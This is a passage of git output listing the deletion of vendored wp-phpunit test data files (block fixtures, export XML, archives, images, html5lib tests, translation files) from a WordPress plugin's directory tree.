wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/hooked-block-error/block.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block-rtl.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block-view.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.asset.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.js delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/render.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/shared-script.asset.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/shared-script.js delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/variations.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/browse-all.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/browse-category-2.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/browse-keyword-11.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/search-button.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/crazy-cdata-escaped.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/crazy-cdata.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/invalid-version-tag.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/malformed.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/missing-version-tag.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/slashes.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/small-export.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/test-serialized-postmeta-no-cdata.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/test-serialized-postmeta-with-cdata.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/test-utw-post-meta-import.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/valid-wxr-1.0.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/valid-wxr-1.1.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/feed/AtomParser_Parse_Test.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/feed/wordpress-org-news.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/_source-license delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-comment.zip delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-cp866.zip delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-directory-entry.zip delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-encrypted.zip delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-flags-set.zip delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-gnome.zip delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-invalid-ext.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-invalid.zip delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-large.zip delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-macos.zip delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-ubuntu-nautilus.zip delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive-uncompressed.zip delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive.crx delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/filesystem/archive.zip delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/fonts/OpenSans-Regular.otf delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/fonts/OpenSans-Regular.ttf delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/fonts/OpenSans-Regular.woff delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/fonts/OpenSans-Regular.woff2 delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/big5.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/entities.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/file-header-cr-line-endings.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/file-header-php-open-tag-prefix.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/remove_accents.01.input.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/sizzle.js delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/README delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/urlencode.py delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/urlencoded.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/utf-8/utf-8.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/whole-posts.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/windows1252.py delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/xssAttacks.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/functions/dummy.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html-api/token-counting-html-processor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5-entities/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5-entities/entities.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5-entities/generate-html5-named-character-references.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/.gitattributes delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/AUTHORS.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/adoption01.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/adoption02.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/blocks.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/comments01.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/doctype01.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/domjs-unsafe.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/entities01.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/entities02.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/foreign-fragment.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/html5test-com.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/inbody01.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/isindex.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/main-element.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/math.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/menuitem-element.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/namespace-sensitivity.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/noscript01.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/pending-spec-changes-plain-text-unsafe.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/pending-spec-changes.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/plain-text-unsafe.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/quirks01.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/ruby.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/scriptdata01.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/search-element.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/svg.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tables01.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/template.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests1.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests10.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests11.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests12.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests14.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests15.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests16.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests17.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests18.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests19.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests2.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests20.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests21.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests22.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests23.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests24.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests25.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests26.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests3.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests4.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests5.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests6.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests7.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests8.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests9.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tests_innerHTML_1.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/tricky01.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/webkit01.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/html5lib-tests/tree-construction/webkit02.dat delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/2007-06-17DSC_4173.JPG delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/avif-alpha-grid2x1.avif delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/avif-animated.avif delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/avif-lossless.avif delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/avif-lossy.avif delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/avif-transparent.avif delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/color_grid_alpha_nogrid.avif delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/colors_hdr_p3.avif delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-alpha.pdf delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image-2.gif delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image-lzw.tiff delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image-no-extension delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image-rotated-90cw.webp delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image-zip.tiff delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image.bmp delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image.gif delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image.heic delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image.ico delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image.jp2 delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image.jpeg delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image.pct delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image.psd delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image.sgi delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image.tga delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image.tiff delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/test-image.webp delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/webp-animated.webp delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/webp-lossless.webp delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/webp-lossy.webp delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/webp-transparent.webp delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/images/wordpress-gsoc-flyer.pdf delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/l10n/example-simple.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/l10n/example-simple.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/l10n/example-simple.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/l10n/fa_IR.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/l10n/plural-complex.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/l10n/plural-complex.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/l10n/plural.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/l10n/simple.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/admin-en_GB.l10n.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/admin-en_GB.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/admin-en_GB.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/admin-en_US-script-handle.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/admin-es_ES.l10n.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/admin-es_ES.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/admin-es_ES.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/admin-network-en_GB.l10n.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/admin-network-en_GB.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/admin-network-en_GB.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/admin-network-es_ES.l10n.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/admin-network-es_ES.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/admin-network-es_ES.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/continents-cities-es_ES.l10n.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/continents-cities-es_ES.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/continents-cities-es_ES.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/de_CH.l10n.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/de_DE.l10n.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/de_DE.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/de_DE.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/en_GB.l10n.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/en_GB.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/en_GB.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/en_US-813e104eb47e13dd4cc5af844c618754.json delete mode 100644 